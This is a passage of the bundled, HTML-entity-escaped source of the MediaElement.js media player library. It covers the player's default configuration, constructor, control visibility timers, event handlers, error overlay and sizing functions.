	&#039;mejs.portuguese&#039;: &#039;Portuguese&#039;,
	&#039;mejs.romanian&#039;: &#039;Romanian&#039;,
	&#039;mejs.russian&#039;: &#039;Russian&#039;,
	&#039;mejs.serbian&#039;: &#039;Serbian&#039;,
	&#039;mejs.slovak&#039;: &#039;Slovak&#039;,
	&#039;mejs.slovenian&#039;: &#039;Slovenian&#039;,
	&#039;mejs.spanish&#039;: &#039;Spanish&#039;,
	&#039;mejs.swahili&#039;: &#039;Swahili&#039;,
	&#039;mejs.swedish&#039;: &#039;Swedish&#039;,
	&#039;mejs.tagalog&#039;: &#039;Tagalog&#039;,
	&#039;mejs.thai&#039;: &#039;Thai&#039;,
	&#039;mejs.turkish&#039;: &#039;Turkish&#039;,
	&#039;mejs.ukrainian&#039;: &#039;Ukrainian&#039;,
	&#039;mejs.vietnamese&#039;: &#039;Vietnamese&#039;,
	&#039;mejs.welsh&#039;: &#039;Welsh&#039;,
	&#039;mejs.yiddish&#039;: &#039;Yiddish&#039;
};

},{}],16:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
exports.config = undefined;

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i &lt; props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (&quot;value&quot; in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _mediaelement = _dereq_(6);

var _mediaelement2 = _interopRequireDefault(_mediaelement);

var _default = _dereq_(17);

var _default2 = _interopRequireDefault(_default);

var _i18n = _dereq_(5);

var _i18n2 = _interopRequireDefault(_i18n);

var _constants = _dereq_(25);

var _general = _dereq_(27);

var _time = _dereq_(30);

var _media = _dereq_(28);

var _dom = _dereq_(26);

var dom = _interopRequireWildcard(_dom);

function _interopRequireWildcard(obj) { if (obj &amp;&amp; obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } }

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(&quot;Cannot call a class as a function&quot;); } }

_mejs2.default.mepIndex = 0;

_mejs2.default.players = {};

var config = exports.config = {
	poster: &#039;&#039;,

	showPosterWhenEnded: false,

	showPosterWhenPaused: false,

	defaultVideoWidth: 480,

	defaultVideoHeight: 270,

	videoWidth: -1,

	videoHeight: -1,

	defaultAudioWidth: 400,

	defaultAudioHeight: 40,

	defaultSeekBackwardInterval: function defaultSeekBackwardInterval(media) {
		return media.getDuration() * 0.05;
	},

	defaultSeekForwardInterval: function defaultSeekForwardInterval(media) {
		return media.getDuration() * 0.05;
	},

	setDimensions: true,

	audioWidth: -1,

	audioHeight: -1,

	loop: false,

	autoRewind: true,

	enableAutosize: true,

	timeFormat: &#039;&#039;,

	alwaysShowHours: false,

	showTimecodeFrameCount: false,

	framesPerSecond: 25,

	alwaysShowControls: false,

	hideVideoControlsOnLoad: false,

	hideVideoControlsOnPause: false,

	clickToPlayPause: true,

	controlsTimeoutDefault: 1500,

	controlsTimeoutMouseEnter: 2500,

	controlsTimeoutMouseLeave: 1000,

	iPadUseNativeControls: false,

	iPhoneUseNativeControls: false,

	AndroidUseNativeControls: false,

	features: [&#039;playpause&#039;, &#039;current&#039;, &#039;progress&#039;, &#039;duration&#039;, &#039;tracks&#039;, &#039;volume&#039;, &#039;fullscreen&#039;],

	useDefaultControls: false,

	isVideo: true,

	stretching: &#039;auto&#039;,

	classPrefix: &#039;mejs__&#039;,

	enableKeyboard: true,

	pauseOtherPlayers: true,

	secondsDecimalLength: 0,

	customError: null,

	keyActions: [{
		keys: [32, 179],
		action: function action(player) {

			if (!_constants.IS_FIREFOX) {
				if (player.paused || player.ended) {
					player.play();
				} else {
					player.pause();
				}
			}
		}
	}]
};

_mejs2.default.MepDefaults = config;

var MediaElementPlayer = function () {
	function MediaElementPlayer(node, o) {
		_classCallCheck(this, MediaElementPlayer);

		var t = this,
		    element = typeof node === &#039;string&#039; ? _document2.default.getElementById(node) : node;

		if (!(t instanceof MediaElementPlayer)) {
			return new MediaElementPlayer(element, o);
		}

		t.node = t.media = element;

		if (!t.node) {
			return;
		}

		if (t.media.player) {
			return t.media.player;
		}

		t.hasFocus = false;

		t.controlsAreVisible = true;

		t.controlsEnabled = true;

		t.controlsTimer = null;

		t.currentMediaTime = 0;

		t.proxy = null;

		if (o === undefined) {
			var options = t.node.getAttribute(&#039;data-mejsoptions&#039;);
			o = options ? JSON.parse(options) : {};
		}

		t.options = Object.assign({}, config, o);

		if (t.options.loop &amp;&amp; !t.media.getAttribute(&#039;loop&#039;)) {
			t.media.loop = true;
			t.node.loop = true;
		} else if (t.media.loop) {
			t.options.loop = true;
		}

		if (!t.options.timeFormat) {
			t.options.timeFormat = &#039;mm:ss&#039;;
			if (t.options.alwaysShowHours) {
				t.options.timeFormat = &#039;hh:mm:ss&#039;;
			}
			if (t.options.showTimecodeFrameCount) {
				t.options.timeFormat += &#039;:ff&#039;;
			}
		}

		(0, _time.calculateTimeFormat)(0, t.options, t.options.framesPerSecond || 25);

		t.id = &#039;mep_&#039; + _mejs2.default.mepIndex++;

		_mejs2.default.players[t.id] = t;

		t.init();

		return t;
	}

	_createClass(MediaElementPlayer, [{
		key: &#039;getElement&#039;,
		value: function getElement(element) {
			return element;
		}
	}, {
		key: &#039;init&#039;,
		value: function init() {
			var t = this,
			    playerOptions = Object.assign({}, t.options, {
				success: function success(media, domNode) {
					t._meReady(media, domNode);
				},
				error: function error(e) {
					t._handleError(e);
				}
			}),
			    tagName = t.node.tagName.toLowerCase();

			t.isDynamic = tagName !== &#039;audio&#039; &amp;&amp; tagName !== &#039;video&#039; &amp;&amp; tagName !== &#039;iframe&#039;;
			t.isVideo = t.isDynamic ? t.options.isVideo : tagName !== &#039;audio&#039; &amp;&amp; t.options.isVideo;
			t.mediaFiles = null;
			t.trackFiles = null;

			if (_constants.IS_IPAD &amp;&amp; t.options.iPadUseNativeControls || _constants.IS_IPHONE &amp;&amp; t.options.iPhoneUseNativeControls) {
				t.node.setAttribute(&#039;controls&#039;, true);

				if (_constants.IS_IPAD &amp;&amp; t.node.getAttribute(&#039;autoplay&#039;)) {
					t.play();
				}
			} else if ((t.isVideo || !t.isVideo &amp;&amp; (t.options.features.length || t.options.useDefaultControls)) &amp;&amp; !(_constants.IS_ANDROID &amp;&amp; t.options.AndroidUseNativeControls)) {
				t.node.removeAttribute(&#039;controls&#039;);
				var videoPlayerTitle = t.isVideo ? _i18n2.default.t(&#039;mejs.video-player&#039;) : _i18n2.default.t(&#039;mejs.audio-player&#039;);

				var offscreen = _document2.default.createElement(&#039;span&#039;);
				offscreen.className = t.options.classPrefix + &#039;offscreen&#039;;
				offscreen.innerText = videoPlayerTitle;
				t.media.parentNode.insertBefore(offscreen, t.media);

				t.container = _document2.default.createElement(&#039;div&#039;);
				t.getElement(t.container).id = t.id;
				t.getElement(t.container).className = t.options.classPrefix + &#039;container &#039; + t.options.classPrefix + &#039;container-keyboard-inactive &#039; + t.media.className;
				t.getElement(t.container).tabIndex = 0;
				t.getElement(t.container).setAttribute(&#039;role&#039;, &#039;application&#039;);
				t.getElement(t.container).setAttribute(&#039;aria-label&#039;, videoPlayerTitle);
				t.getElement(t.container).innerHTML = &#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;inner&quot;&gt;&#039; + (&#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;mediaelement&quot;&gt;&lt;/div&gt;&#039;) + (&#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;layers&quot;&gt;&lt;/div&gt;&#039;) + (&#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;controls&quot;&gt;&lt;/div&gt;&#039;) + &#039;&lt;/div&gt;&#039;;
				t.getElement(t.container).addEventListener(&#039;focus&#039;, function (e) {
					if (!t.controlsAreVisible &amp;&amp; !t.hasFocus &amp;&amp; t.controlsEnabled) {
						t.showControls(true);

						var btnSelector = (0, _general.isNodeAfter)(e.relatedTarget, t.getElement(t.container)) ? &#039;.&#039; + t.options.classPrefix + &#039;controls .&#039; + t.options.classPrefix + &#039;button:last-child &gt; button&#039; : &#039;.&#039; + t.options.classPrefix + &#039;playpause-button &gt; button&#039;,
						    button = t.getElement(t.container).querySelector(btnSelector);

						button.focus();
					}
				});
				t.node.parentNode.insertBefore(t.getElement(t.container), t.node);

				if (!t.options.features.length &amp;&amp; !t.options.useDefaultControls) {
					t.getElement(t.container).style.background = &#039;transparent&#039;;
					t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;controls&#039;).style.display = &#039;none&#039;;
				}

				if (t.isVideo &amp;&amp; t.options.stretching === &#039;fill&#039; &amp;&amp; !dom.hasClass(t.getElement(t.container).parentNode, t.options.classPrefix + &#039;fill-container&#039;)) {
					t.outerContainer = t.media.parentNode;

					var wrapper = _document2.default.createElement(&#039;div&#039;);
					wrapper.className = t.options.classPrefix + &#039;fill-container&#039;;
					t.getElement(t.container).parentNode.insertBefore(wrapper, t.getElement(t.container));
					wrapper.appendChild(t.getElement(t.container));
				}

				if (_constants.IS_ANDROID) {
					dom.addClass(t.getElement(t.container), t.options.classPrefix + &#039;android&#039;);
				}
				if (_constants.IS_IOS) {
					dom.addClass(t.getElement(t.container), t.options.classPrefix + &#039;ios&#039;);
				}
				if (_constants.IS_IPAD) {
					dom.addClass(t.getElement(t.container), t.options.classPrefix + &#039;ipad&#039;);
				}
				if (_constants.IS_IPHONE) {
					dom.addClass(t.getElement(t.container), t.options.classPrefix + &#039;iphone&#039;);
				}
				dom.addClass(t.getElement(t.container), t.isVideo ? t.options.classPrefix + &#039;video&#039; : t.options.classPrefix + &#039;audio&#039;);

				t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;mediaelement&#039;).appendChild(t.node);

				t.media.player = t;

				t.controls = t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;controls&#039;);
				t.layers = t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;layers&#039;);

				var tagType = t.isVideo ? &#039;video&#039; : &#039;audio&#039;,
				    capsTagName = tagType.substring(0, 1).toUpperCase() + tagType.substring(1);

				if (t.options[tagType + &#039;Width&#039;] &gt; 0 || t.options[tagType + &#039;Width&#039;].toString().indexOf(&#039;%&#039;) &gt; -1) {
					t.width = t.options[tagType + &#039;Width&#039;];
				} else if (t.node.style.width !== &#039;&#039; &amp;&amp; t.node.style.width !== null) {
					t.width = t.node.style.width;
				} else if (t.node.getAttribute(&#039;width&#039;)) {
					t.width = t.node.getAttribute(&#039;width&#039;);
				} else {
					t.width = t.options[&#039;default&#039; + capsTagName + &#039;Width&#039;];
				}

				if (t.options[tagType + &#039;Height&#039;] &gt; 0 || t.options[tagType + &#039;Height&#039;].toString().indexOf(&#039;%&#039;) &gt; -1) {
					t.height = t.options[tagType + &#039;Height&#039;];
				} else if (t.node.style.height !== &#039;&#039; &amp;&amp; t.node.style.height !== null) {
					t.height = t.node.style.height;
				} else if (t.node.getAttribute(&#039;height&#039;)) {
					t.height = t.node.getAttribute(&#039;height&#039;);
				} else {
					t.height = t.options[&#039;default&#039; + capsTagName + &#039;Height&#039;];
				}

				t.initialAspectRatio = t.height &gt;= t.width ? t.width / t.height : t.height / t.width;

				t.setPlayerSize(t.width, t.height);

				playerOptions.pluginWidth = t.width;
				playerOptions.pluginHeight = t.height;
			} else if (!t.isVideo &amp;&amp; !t.options.features.length &amp;&amp; !t.options.useDefaultControls) {
					t.node.style.display = &#039;none&#039;;
				}

			_mejs2.default.MepDefaults = playerOptions;

			new _mediaelement2.default(t.media, playerOptions, t.mediaFiles);

			if (t.getElement(t.container) !== undefined &amp;&amp; t.options.features.length &amp;&amp; t.controlsAreVisible &amp;&amp; !t.options.hideVideoControlsOnLoad) {
				var event = (0, _general.createEvent)(&#039;controlsshown&#039;, t.getElement(t.container));
				t.getElement(t.container).dispatchEvent(event);
			}
		}
	}, {
		key: &#039;showControls&#039;,
		value: function showControls(doAnimation) {
			var t = this;

			doAnimation = doAnimation === undefined || doAnimation;

			if (t.controlsAreVisible || !t.isVideo) {
				return;
			}

			if (doAnimation) {
				(function () {
					dom.fadeIn(t.getElement(t.controls), 200, function () {
						dom.removeClass(t.getElement(t.controls), t.options.classPrefix + &#039;offscreen&#039;);
						var event = (0, _general.createEvent)(&#039;controlsshown&#039;, t.getElement(t.container));
						t.getElement(t.container).dispatchEvent(event);
					});

					var controls = t.getElement(t.container).querySelectorAll(&#039;.&#039; + t.options.classPrefix + &#039;control&#039;);

					var _loop = function _loop(i, total) {
						dom.fadeIn(controls[i], 200, function () {
							dom.removeClass(controls[i], t.options.classPrefix + &#039;offscreen&#039;);
						});
					};

					for (var i = 0, total = controls.length; i &lt; total; i++) {
						_loop(i, total);
					}
				})();
			} else {
				dom.removeClass(t.getElement(t.controls), t.options.classPrefix + &#039;offscreen&#039;);
				t.getElement(t.controls).style.display = &#039;&#039;;
				t.getElement(t.controls).style.opacity = 1;

				var controls = t.getElement(t.container).querySelectorAll(&#039;.&#039; + t.options.classPrefix + &#039;control&#039;);
				for (var i = 0, total = controls.length; i &lt; total; i++) {
					dom.removeClass(controls[i], t.options.classPrefix + &#039;offscreen&#039;);
					controls[i].style.display = &#039;&#039;;
				}

				var event = (0, _general.createEvent)(&#039;controlsshown&#039;, t.getElement(t.container));
				t.getElement(t.container).dispatchEvent(event);
			}

			t.controlsAreVisible = true;
			t.setControlsSize();
		}
	}, {
		key: &#039;hideControls&#039;,
		value: function hideControls(doAnimation, forceHide) {
			var t = this;

			doAnimation = doAnimation === undefined || doAnimation;

			if (forceHide !== true &amp;&amp; (!t.controlsAreVisible || t.options.alwaysShowControls || t.paused &amp;&amp; t.readyState === 4 &amp;&amp; (!t.options.hideVideoControlsOnLoad &amp;&amp; t.currentTime &lt;= 0 || !t.options.hideVideoControlsOnPause &amp;&amp; t.currentTime &gt; 0) || t.isVideo &amp;&amp; !t.options.hideVideoControlsOnLoad &amp;&amp; !t.readyState || t.ended)) {
				return;
			}

			if (doAnimation) {
				(function () {
					dom.fadeOut(t.getElement(t.controls), 200, function () {
						dom.addClass(t.getElement(t.controls), t.options.classPrefix + &#039;offscreen&#039;);
						t.getElement(t.controls).style.display = &#039;&#039;;
						var event = (0, _general.createEvent)(&#039;controlshidden&#039;, t.getElement(t.container));
						t.getElement(t.container).dispatchEvent(event);
					});

					var controls = t.getElement(t.container).querySelectorAll(&#039;.&#039; + t.options.classPrefix + &#039;control&#039;);

					var _loop2 = function _loop2(i, total) {
						dom.fadeOut(controls[i], 200, function () {
							dom.addClass(controls[i], t.options.classPrefix + &#039;offscreen&#039;);
							controls[i].style.display = &#039;&#039;;
						});
					};

					for (var i = 0, total = controls.length; i &lt; total; i++) {
						_loop2(i, total);
					}
				})();
			} else {
				dom.addClass(t.getElement(t.controls), t.options.classPrefix + &#039;offscreen&#039;);
				t.getElement(t.controls).style.display = &#039;&#039;;
				t.getElement(t.controls).style.opacity = 0;

				var controls = t.getElement(t.container).querySelectorAll(&#039;.&#039; + t.options.classPrefix + &#039;control&#039;);
				for (var i = 0, total = controls.length; i &lt; total; i++) {
					dom.addClass(controls[i], t.options.classPrefix + &#039;offscreen&#039;);
					controls[i].style.display = &#039;&#039;;
				}

				var event = (0, _general.createEvent)(&#039;controlshidden&#039;, t.getElement(t.container));
				t.getElement(t.container).dispatchEvent(event);
			}

			t.controlsAreVisible = false;
		}
	}, {
		key: &#039;startControlsTimer&#039;,
		value: function startControlsTimer(timeout) {
			var t = this;

			timeout = typeof timeout !== &#039;undefined&#039; ? timeout : t.options.controlsTimeoutDefault;

			t.killControlsTimer(&#039;start&#039;);

			t.controlsTimer = setTimeout(function () {
				t.hideControls();
				t.killControlsTimer(&#039;hide&#039;);
			}, timeout);
		}
	}, {
		key: &#039;killControlsTimer&#039;,
		value: function killControlsTimer() {
			var t = this;

			if (t.controlsTimer !== null) {
				clearTimeout(t.controlsTimer);
				delete t.controlsTimer;
				t.controlsTimer = null;
			}
		}
	}, {
		key: &#039;disableControls&#039;,
		value: function disableControls() {
			var t = this;

			t.killControlsTimer();
			t.controlsEnabled = false;
			t.hideControls(false, true);
		}
	}, {
		key: &#039;enableControls&#039;,
		value: function enableControls() {
			var t = this;

			t.controlsEnabled = true;
			t.showControls(false);
		}
	}, {
		key: &#039;_setDefaultPlayer&#039;,
		value: function _setDefaultPlayer() {
			var t = this;
			if (t.proxy) {
				t.proxy.pause();
			}
			t.proxy = new _default2.default(t);
			t.media.addEventListener(&#039;loadedmetadata&#039;, function () {
				if (t.getCurrentTime() &gt; 0 &amp;&amp; t.currentMediaTime &gt; 0) {
					t.setCurrentTime(t.currentMediaTime);
					if (!_constants.IS_IOS &amp;&amp; !_constants.IS_ANDROID) {
						t.play();
					}
				}
			});
		}
	}, {
		key: &#039;_meReady&#039;,
		value: function _meReady(media, domNode) {
			var t = this,
			    autoplayAttr = domNode.getAttribute(&#039;autoplay&#039;),
			    autoplay = !(autoplayAttr === undefined || autoplayAttr === null || autoplayAttr === &#039;false&#039;),
			    isNative = media.rendererName !== null &amp;&amp; /(native|html5)/i.test(media.rendererName);

			if (t.getElement(t.controls)) {
				t.enableControls();
			}

			if (t.getElement(t.container) &amp;&amp; t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;overlay-play&#039;)) {
				t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;overlay-play&#039;).style.display = &#039;&#039;;
			}

			if (t.created) {
				return;
			}

			t.created = true;
			t.media = media;
			t.domNode = domNode;

			if (!(_constants.IS_ANDROID &amp;&amp; t.options.AndroidUseNativeControls) &amp;&amp; !(_constants.IS_IPAD &amp;&amp; t.options.iPadUseNativeControls) &amp;&amp; !(_constants.IS_IPHONE &amp;&amp; t.options.iPhoneUseNativeControls)) {
				if (!t.isVideo &amp;&amp; !t.options.features.length &amp;&amp; !t.options.useDefaultControls) {
					if (autoplay &amp;&amp; isNative) {
						t.play();
					}

					if (t.options.success) {

						if (typeof t.options.success === &#039;string&#039;) {
							_window2.default[t.options.success](t.media, t.domNode, t);
						} else {
							t.options.success(t.media, t.domNode, t);
						}
					}

					return;
				}

				t.featurePosition = {};

				t._setDefaultPlayer();

				t.buildposter(t, t.getElement(t.controls), t.getElement(t.layers), t.media);
				t.buildkeyboard(t, t.getElement(t.controls), t.getElement(t.layers), t.media);
				t.buildoverlays(t, t.getElement(t.controls), t.getElement(t.layers), t.media);

				if (t.options.useDefaultControls) {
					var defaultControls = [&#039;playpause&#039;, &#039;current&#039;, &#039;progress&#039;, &#039;duration&#039;, &#039;tracks&#039;, &#039;volume&#039;, &#039;fullscreen&#039;];
					t.options.features = defaultControls.concat(t.options.features.filter(function (item) {
						return defaultControls.indexOf(item) === -1;
					}));
				}

				t.buildfeatures(t, t.getElement(t.controls), t.getElement(t.layers), t.media);

				var event = (0, _general.createEvent)(&#039;controlsready&#039;, t.getElement(t.container));
				t.getElement(t.container).dispatchEvent(event);

				t.setPlayerSize(t.width, t.height);
				t.setControlsSize();

				if (t.isVideo) {
					t.clickToPlayPauseCallback = function () {

						if (t.options.clickToPlayPause) {
							var button = t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;overlay-button&#039;),
							    pressed = button.getAttribute(&#039;aria-pressed&#039;);

							if (t.paused &amp;&amp; pressed) {
								t.pause();
							} else if (t.paused) {
								t.play();
							} else {
								t.pause();
							}

							button.setAttribute(&#039;aria-pressed&#039;, !pressed);
							t.getElement(t.container).focus();
						}
					};

					t.createIframeLayer();

					t.media.addEventListener(&#039;click&#039;, t.clickToPlayPauseCallback);

					if ((_constants.IS_ANDROID || _constants.IS_IOS) &amp;&amp; !t.options.alwaysShowControls) {
						t.node.addEventListener(&#039;touchstart&#039;, function () {
							if (t.controlsAreVisible) {
								t.hideControls(false);
							} else {
								if (t.controlsEnabled) {
									t.showControls(false);
								}
							}
						}, _constants.SUPPORT_PASSIVE_EVENT ? { passive: true } : false);
					} else {
						t.getElement(t.container).addEventListener(&#039;mouseenter&#039;, function () {
							if (t.controlsEnabled) {
								if (!t.options.alwaysShowControls) {
									t.killControlsTimer(&#039;enter&#039;);
									t.showControls();
									t.startControlsTimer(t.options.controlsTimeoutMouseEnter);
								}
							}
						});
						t.getElement(t.container).addEventListener(&#039;mousemove&#039;, function () {
							if (t.controlsEnabled) {
								if (!t.controlsAreVisible) {
									t.showControls();
								}
								if (!t.options.alwaysShowControls) {
									t.startControlsTimer(t.options.controlsTimeoutMouseEnter);
								}
							}
						});
						t.getElement(t.container).addEventListener(&#039;mouseleave&#039;, function () {
							if (t.controlsEnabled) {
								if (!t.paused &amp;&amp; !t.options.alwaysShowControls) {
									t.startControlsTimer(t.options.controlsTimeoutMouseLeave);
								}
							}
						});
					}

					if (t.options.hideVideoControlsOnLoad) {
						t.hideControls(false);
					}

					if (t.options.enableAutosize) {
						t.media.addEventListener(&#039;loadedmetadata&#039;, function (e) {
							var target = e !== undefined ? e.detail.target || e.target : t.media;
							if (t.options.videoHeight &lt;= 0 &amp;&amp; !t.domNode.getAttribute(&#039;height&#039;) &amp;&amp; !t.domNode.style.height &amp;&amp; target !== null &amp;&amp; !isNaN(target.videoHeight)) {
								t.setPlayerSize(target.videoWidth, target.videoHeight);
								t.setControlsSize();
								t.media.setSize(target.videoWidth, target.videoHeight);
							}
						});
					}
				}

				t.media.addEventListener(&#039;play&#039;, function () {
					t.hasFocus = true;

					for (var playerIndex in _mejs2.default.players) {
						if (_mejs2.default.players.hasOwnProperty(playerIndex)) {
							var p = _mejs2.default.players[playerIndex];

							if (p.id !== t.id &amp;&amp; t.options.pauseOtherPlayers &amp;&amp; !p.paused &amp;&amp; !p.ended &amp;&amp; p.options.ignorePauseOtherPlayersOption !== true) {
								p.pause();
								p.hasFocus = false;
							}
						}
					}

					if (!(_constants.IS_ANDROID || _constants.IS_IOS) &amp;&amp; !t.options.alwaysShowControls &amp;&amp; t.isVideo) {
						t.hideControls();
					}
				});

				t.media.addEventListener(&#039;ended&#039;, function () {
					if (t.options.autoRewind) {
						try {
							t.setCurrentTime(0);

							setTimeout(function () {
								var loadingElement = t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;overlay-loading&#039;);
								if (loadingElement &amp;&amp; loadingElement.parentNode) {
									loadingElement.parentNode.style.display = &#039;none&#039;;
								}
							}, 20);
						} catch (exp) {
							
						}
					}

					if (typeof t.media.renderer.stop === &#039;function&#039;) {
						t.media.renderer.stop();
					} else {
						t.pause();
					}

					if (t.setProgressRail) {
						t.setProgressRail();
					}
					if (t.setCurrentRail) {
						t.setCurrentRail();
					}

					if (t.options.loop) {
						t.play();
					} else if (!t.options.alwaysShowControls &amp;&amp; t.controlsEnabled) {
						t.showControls();
					}
				});

				t.media.addEventListener(&#039;loadedmetadata&#039;, function () {

					(0, _time.calculateTimeFormat)(t.getDuration(), t.options, t.options.framesPerSecond || 25);

					if (t.updateDuration) {
						t.updateDuration();
					}
					if (t.updateCurrent) {
						t.updateCurrent();
					}

					if (!t.isFullScreen) {
						t.setPlayerSize(t.width, t.height);
						t.setControlsSize();
					}
				});

				var duration = null;
				t.media.addEventListener(&#039;timeupdate&#039;, function () {
					if (!isNaN(t.getDuration()) &amp;&amp; duration !== t.getDuration()) {
						duration = t.getDuration();
						(0, _time.calculateTimeFormat)(duration, t.options, t.options.framesPerSecond || 25);

						if (t.updateDuration) {
							t.updateDuration();
						}
						if (t.updateCurrent) {
							t.updateCurrent();
						}

						t.setControlsSize();
					}
				});

				t.getElement(t.container).addEventListener(&#039;click&#039;, function (e) {
					dom.addClass(e.currentTarget, t.options.classPrefix + &#039;container-keyboard-inactive&#039;);
				});

				t.getElement(t.container).addEventListener(&#039;focusin&#039;, function (e) {
					dom.removeClass(e.currentTarget, t.options.classPrefix + &#039;container-keyboard-inactive&#039;);
					if (t.isVideo &amp;&amp; !_constants.IS_ANDROID &amp;&amp; !_constants.IS_IOS &amp;&amp; t.controlsEnabled &amp;&amp; !t.options.alwaysShowControls) {
						t.killControlsTimer(&#039;enter&#039;);
						t.showControls();
						t.startControlsTimer(t.options.controlsTimeoutMouseEnter);
					}
				});

				t.getElement(t.container).addEventListener(&#039;focusout&#039;, function (e) {
					setTimeout(function () {
						if (e.relatedTarget) {
							if (t.keyboardAction &amp;&amp; !e.relatedTarget.closest(&#039;.&#039; + t.options.classPrefix + &#039;container&#039;)) {
								t.keyboardAction = false;
								if (t.isVideo &amp;&amp; !t.options.alwaysShowControls &amp;&amp; !t.paused) {
									t.startControlsTimer(t.options.controlsTimeoutMouseLeave);
								}
							}
						}
					}, 0);
				});

				setTimeout(function () {
					t.setPlayerSize(t.width, t.height);
					t.setControlsSize();
				}, 0);

				t.globalResizeCallback = function () {
					if (!(t.isFullScreen || _constants.HAS_TRUE_NATIVE_FULLSCREEN &amp;&amp; _document2.default.webkitIsFullScreen)) {
						t.setPlayerSize(t.width, t.height);
					}

					t.setControlsSize();
				};

				t.globalBind(&#039;resize&#039;, t.globalResizeCallback);
			}

			if (autoplay &amp;&amp; isNative) {
				t.play();
			}

			if (t.options.success) {
				if (typeof t.options.success === &#039;string&#039;) {
					_window2.default[t.options.success](t.media, t.domNode, t);
				} else {
					t.options.success(t.media, t.domNode, t);
				}
			}
		}
	}, {
		key: &#039;_handleError&#039;,
		value: function _handleError(e, media, node) {
			var t = this,
			    play = t.getElement(t.layers).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;overlay-play&#039;);

			if (play) {
				play.style.display = &#039;none&#039;;
			}

			if (t.options.error) {
				t.options.error(e, media, node);
			}

			if (t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;cannotplay&#039;)) {
				t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;cannotplay&#039;).remove();
			}

			var errorContainer = _document2.default.createElement(&#039;div&#039;);
			errorContainer.className = t.options.classPrefix + &#039;cannotplay&#039;;
			errorContainer.style.width = &#039;100%&#039;;
			errorContainer.style.height = &#039;100%&#039;;

			var errorContent = typeof t.options.customError === &#039;function&#039; ? t.options.customError(t.media, t.media.originalNode) : t.options.customError,
			    imgError = &#039;&#039;;

			if (!errorContent) {
				var poster = t.media.originalNode.getAttribute(&#039;poster&#039;);
				if (poster) {
					imgError = &#039;&lt;img src=&quot;&#039; + poster + &#039;&quot; alt=&quot;&#039; + _mejs2.default.i18n.t(&#039;mejs.download-file&#039;) + &#039;&quot;&gt;&#039;;
				}

				if (e.message) {
					errorContent = &#039;&lt;p&gt;&#039; + e.message + &#039;&lt;/p&gt;&#039;;
				}

				if (e.urls) {
					for (var i = 0, total = e.urls.length; i &lt; total; i++) {
						var url = e.urls[i];
						errorContent += &#039;&lt;a href=&quot;&#039; + url.src + &#039;&quot; data-type=&quot;&#039; + url.type + &#039;&quot;&gt;&lt;span&gt;&#039; + _mejs2.default.i18n.t(&#039;mejs.download-file&#039;) + &#039;: &#039; + url.src + &#039;&lt;/span&gt;&lt;/a&gt;&#039;;
					}
				}
			}

			if (errorContent &amp;&amp; t.getElement(t.layers).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;overlay-error&#039;)) {
				errorContainer.innerHTML = errorContent;
				t.getElement(t.layers).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;overlay-error&#039;).innerHTML = &#039;&#039; + imgError + errorContainer.outerHTML;
				t.getElement(t.layers).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;overlay-error&#039;).parentNode.style.display = &#039;block&#039;;
			}

			if (t.controlsEnabled) {
				t.disableControls();
			}
		}
	}, {
		key: &#039;setPlayerSize&#039;,
		value: function setPlayerSize(width, height) {
			var t = this;

			if (!t.options.setDimensions) {
				return false;
			}

			if (typeof width !== &#039;undefined&#039;) {
				t.width = width;
			}

			if (typeof height !== &#039;undefined&#039;) {
				t.height = height;
			}

			switch (t.options.stretching) {
				case &#039;fill&#039;:
					if (t.isVideo) {
						t.setFillMode();
					} else {
						t.setDimensions(t.width, t.height);
					}
					break;
				case &#039;responsive&#039;:
					t.setResponsiveMode();
					break;
				case &#039;none&#039;:
					t.setDimensions(t.width, t.height);
					break;

				default:
					if (t.hasFluidMode() === true) {
						t.setResponsiveMode();
					} else {
						t.setDimensions(t.width, t.height);
					}
					break;
			}
		}
	}, {
		key: &#039;hasFluidMode&#039;,
		value: function hasFluidMode() {
			var t = this;

			return t.height.toString().indexOf(&#039;%&#039;) !== -1 || t.node &amp;&amp; t.node.style.maxWidth &amp;&amp; t.node.style.maxWidth !== &#039;none&#039; &amp;&amp; t.node.style.maxWidth !== t.width || t.node &amp;&amp; t.node.currentStyle &amp;&amp; t.node.currentStyle.maxWidth === &#039;100%&#039;;
		}
	}, {
